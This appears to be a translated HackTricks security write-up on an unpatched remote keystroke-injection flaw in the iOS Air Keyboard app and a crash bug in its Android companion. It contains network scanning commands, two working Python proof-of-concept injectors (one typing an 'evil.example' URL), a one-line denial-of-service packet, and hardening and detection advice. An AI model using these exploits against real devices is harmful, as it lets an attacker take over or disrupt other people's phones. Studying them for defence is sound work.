Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
TL;DR
iOS 版本的商业 “Air Keyboard” 应用程序 (App Store ID 6463187929) 暴露了一个本地网络服务,该服务 接受无任何身份验证或来源验证的按键帧。根据安装的版本,该服务为:
- ≤ 1.0.4 – 原始 TCP 监听器在 port 8888 上,期待一个 2 字节长度的头部,后跟 device-id 和 ASCII 负载。
- ≥ 1.0.5 (June 2025) – WebSocket 监听器在 同一 端口 (8888) 上,解析 JSON 键,例如
{"type":1,"text":"…"}
。
因此,任何在同一 Wi-Fi / 子网中的设备都可以 向受害者的手机注入任意键盘输入,实现完全的远程交互劫持。 一个配套的 Android 版本监听 port 55535。它执行一个弱 AES-ECB 握手,但构造的垃圾数据仍会导致 OpenSSL 内部未处理的异常,崩溃后台服务 (DoS)。
该漏洞在撰写时 仍未修补(July 2025),该应用程序仍可在 App Store 中获取。
1. Service Discovery
扫描本地网络,寻找应用程序使用的两个固定端口:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
在Android手机上,您可以在本地识别负责的包:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
在越狱的 iOS上,你可以使用 lsof -i -nP | grep LISTEN | grep 8888
做类似的事情。
2. 协议细节 (iOS)
2.1 旧版 (≤ 1.0.4) – 自定义二进制帧
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
声明的 length 包括 device_id
字节 但不 包括两个字节的头部本身。
2.2 当前 (≥ 1.0.5) – JSON over WebSocket
版本 1.0.5 在保持端口号不变的情况下默默迁移到 WebSockets。一个最小的按键看起来像:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
不需要握手、令牌或签名 - 第一个 JSON 对象已经触发了 UI 事件。
3. 利用 PoC
3.1 针对 ≤ 1.0.4 (原始 TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 目标 ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
任何可打印的 ASCII 字符 — 包括换行符、制表符和大多数特殊键 — 都可以被发送,从而赋予攻击者与物理用户输入相同的能力:启动应用程序、发送即时消息、打开恶意 URL、切换设置等。
4. Android Companion – Denial-of-Service
Android 端口 (55535) 期望一个 用硬编码的 AES-128-ECB 密钥加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 AES_decrypt()
,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到进程重新启动。
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. 相关应用 – 重复出现的反模式
Air Keyboard 并不是一个孤立的案例。其他移动“远程键盘/鼠标”工具也存在同样的缺陷:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 允许未经身份验证的命令执行和明文键盘记录。
- PC Keyboard ≤ 30 – CVE-2022-45479/80 未经身份验证的 RCE 和流量嗅探。
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 默认无密码、弱 PIN 暴力破解和明文泄露。
这些案例突显了对 移动应用网络攻击面 的系统性忽视。
6. 根本原因
- 对传入帧没有来源/完整性检查(iOS)。
- 密码学误用(静态密钥、ECB、缺少长度验证)和 缺乏异常处理(Android)。
- 用户授予的本地网络权限 ≠ 安全 – iOS 请求运行时同意 LAN 流量,但这并不能替代适当的身份验证。
7. 加固与防御措施
开发者建议:
- 将监听器绑定到
127.0.0.1
,并在需要远程控制时通过 mTLS 或 Noise XX 隧道。 - 在入职时 派生每个设备的秘密(例如,二维码或配对 PIN),并在处理输入之前强制 双向 身份验证。
- 采用 Apple Network Framework,使用 NWListener + TLS,而不是原始套接字。
- 在解密或解码帧时实施 长度前缀的合理性检查 和结构化异常处理。
蓝队/红队快速胜利:
- 网络侦查:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
或 Wireshark 过滤器tcp.port == 8888
。 - 运行时检查: Frida 脚本钩住
socket()
/NWConnection
列出意外的监听器。 - iOS 应用隐私报告(设置 ▸ 隐私与安全 ▸ 应用隐私报告) 突出显示与 LAN 地址联系的应用 – 有助于发现恶意服务。
- 移动 EDR 可以为端口 8888 上明文 TCP 有效负载中的 JSON 键
"selectionStart"
、"selectionEnd"
添加简单的 Yara-L 规则。
检测备忘单(渗透测试者)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
参考文献
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 远程输入注入
- Mobile-Hacker 博客 (2025年7月17日) – Air Keyboard iOS App 中的远程输入注入漏洞仍未修补
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。